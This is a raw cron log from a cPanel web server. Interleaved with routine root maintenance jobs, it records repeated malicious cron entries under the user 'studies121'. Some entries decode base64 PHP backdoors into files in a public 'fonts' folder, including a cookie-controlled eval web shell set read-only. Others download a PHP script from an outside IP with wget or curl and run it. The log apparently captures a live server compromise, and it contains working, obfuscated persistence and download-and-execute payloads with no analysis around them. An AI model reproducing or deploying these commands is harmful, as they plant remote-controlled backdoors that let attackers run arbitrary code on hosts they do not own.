Sep  1 21:19:01 ip-184-168-122-23 CROND[26237]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 21:19:01 ip-184-168-122-23 CROND[26238]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 21:20:01 ip-184-168-122-23 CROND[26349]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 21:20:01 ip-184-168-122-23 CROND[26350]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 21:20:01 ip-184-168-122-23 CROND[26351]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 21:20:01 ip-184-168-122-23 CROND[26356]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 21:20:01 ip-184-168-122-23 CROND[26357]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 21:20:01 ip-184-168-122-23 CROND[26354]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 21:20:01 ip-184-168-122-23 CROND[26360]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 21:20:01 ip-184-168-122-23 CROND[26361]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 21:20:01 ip-184-168-122-23 CROND[26359]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 21:21:01 ip-184-168-122-23 CROND[26453]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 21:21:01 ip-184-168-122-23 CROND[26454]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 21:21:01 ip-184-168-122-23 CROND[26457]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 21:21:01 ip-184-168-122-23 CROND[26456]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 21:22:01 ip-184-168-122-23 CROND[26547]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 21:22:01 ip-184-168-122-23 CROND[26549]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 21:22:01 ip-184-168-122-23 CROND[26550]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 21:22:01 ip-184-168-122-23 CROND[26551]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 21:22:01 ip-184-168-122-23 CROND[26552]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 21:23:01 ip-184-168-122-23 CROND[26730]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 21:23:01 ip-184-168-122-23 CROND[26732]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 21:23:01 ip-184-168-122-23 CROND[26733]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 21:23:01 ip-184-168-122-23 CROND[26734]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 21:24:01 ip-184-168-122-23 CROND[26809]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 21:24:01 ip-184-168-122-23 CROND[26811]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 21:24:01 ip-184-168-122-23 CROND[26812]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 21:24:01 ip-184-168-122-23 CROND[26813]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 21:24:01 ip-184-168-122-23 CROND[26814]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 21:25:01 ip-184-168-122-23 CROND[26895]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 21:25:01 ip-184-168-122-23 CROND[26897]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 21:25:01 ip-184-168-122-23 CROND[26903]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 21:25:01 ip-184-168-122-23 CROND[26900]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 21:25:01 ip-184-168-122-23 CROND[26902]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 21:25:01 ip-184-168-122-23 CROND[26901]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 21:26:01 ip-184-168-122-23 CROND[27001]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 21:26:01 ip-184-168-122-23 CROND[27002]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 21:26:01 ip-184-168-122-23 CROND[27004]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 21:26:01 ip-184-168-122-23 CROND[27003]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 21:26:01 ip-184-168-122-23 CROND[27006]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 21:27:01 ip-184-168-122-23 CROND[27083]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 21:27:01 ip-184-168-122-23 CROND[27085]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 21:27:01 ip-184-168-122-23 CROND[27087]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 21:27:01 ip-184-168-122-23 CROND[27086]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 21:28:01 ip-184-168-122-23 CROND[27249]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 21:28:01 ip-184-168-122-23 CROND[27251]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 21:28:01 ip-184-168-122-23 CROND[27252]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 21:28:01 ip-184-168-122-23 CROND[27254]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 21:28:01 ip-184-168-122-23 CROND[27253]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 21:29:01 ip-184-168-122-23 CROND[27349]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 21:29:01 ip-184-168-122-23 CROND[27347]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 21:29:01 ip-184-168-122-23 CROND[27348]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 21:29:01 ip-184-168-122-23 CROND[27350]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 21:30:01 ip-184-168-122-23 CROND[27440]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 21:30:01 ip-184-168-122-23 CROND[27444]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 21:30:01 ip-184-168-122-23 CROND[27442]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 21:30:01 ip-184-168-122-23 CROND[27447]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 21:30:01 ip-184-168-122-23 CROND[27443]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 21:30:02 ip-184-168-122-23 CROND[27452]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 21:30:02 ip-184-168-122-23 CROND[27451]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 21:30:02 ip-184-168-122-23 CROND[27453]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 21:31:01 ip-184-168-122-23 CROND[27538]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 21:31:01 ip-184-168-122-23 CROND[27540]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
